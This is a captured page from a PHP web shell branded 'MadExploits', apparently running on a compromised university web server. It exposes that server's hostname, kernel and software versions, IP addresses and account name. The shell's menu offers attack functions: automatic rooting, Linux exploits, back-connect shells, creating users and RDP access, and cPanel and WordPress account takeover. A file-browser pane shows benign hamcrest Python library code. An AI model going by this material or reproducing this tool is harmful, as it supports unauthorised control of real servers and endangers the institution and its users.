Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.34.133
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
hamcrest /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
helpers
[ DIR ]
drwxr-xr-x
__init__.py
230
B
-rw-r--r--
assert_that.py
2.37
KB
-rw-r--r--
base_description.py
2.77
KB
-rw-r--r--
base_matcher.py
1.17
KB
-rw-r--r--
compat.py
642
B
-rw-r--r--
description.py
1.69
KB
-rw-r--r--
matcher.py
1.81
KB
-rw-r--r--
selfdescribing.py
574
B
-rw-r--r--
selfdescribingvalue.py
834
B
-rw-r--r--
string_description.py
908
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : assert_that.py
from __future__ import absolute_import from hamcrest.core.matcher import Matcher from hamcrest.core.string_description import StringDescription __author__ = "Jon Reid" __copyright__ = "Copyright 2011 hamcrest.org" __license__ = "BSD, see License.txt" # unittest integration; hide these frames from tracebacks __unittest = True # py.test integration; hide these frames from tracebacks __tracebackhide__ = True def assert_that(arg1, arg2=None, arg3=''): """Asserts that actual value satisfies matcher. (Can also assert plain boolean condition.) :param actual: The object to evaluate as the actual value. :param matcher: The matcher to satisfy as the expected condition. :param reason: Optional explanation to include in failure description. ``assert_that`` passes the actual value to the matcher for evaluation. If the matcher is not satisfied, an exception is thrown describing the mismatch. ``assert_that`` is designed to integrate well with PyUnit and other unit testing frameworks. The exception raised for an unmet assertion is an :py:exc:`AssertionError`, which PyUnit reports as a test failure. With a different set of parameters, ``assert_that`` can also verify a boolean condition: .. function:: assert_that(assertion[, reason]) :param assertion: Boolean condition to verify. :param reason: Optional explanation to include in failure description. This is equivalent to the :py:meth:`~unittest.TestCase.assertTrue` method of :py:class:`unittest.TestCase`, but offers greater flexibility in test writing by being a standalone function. """ if isinstance(arg2, Matcher): _assert_match(actual=arg1, matcher=arg2, reason=arg3) else: _assert_bool(assertion=arg1, reason=arg2) def _assert_match(actual, matcher, reason): if not matcher.matches(actual): description = StringDescription() description.append_text(reason) \ .append_text('\nExpected: ') \ .append_description_of(matcher) \ .append_text('\n but: ') matcher.describe_mismatch(actual, description) description.append_text('\n') raise AssertionError(description) def _assert_bool(assertion, reason=None): if not assertion: if not reason: reason = 'Assertion failed' raise AssertionError(reason)
Close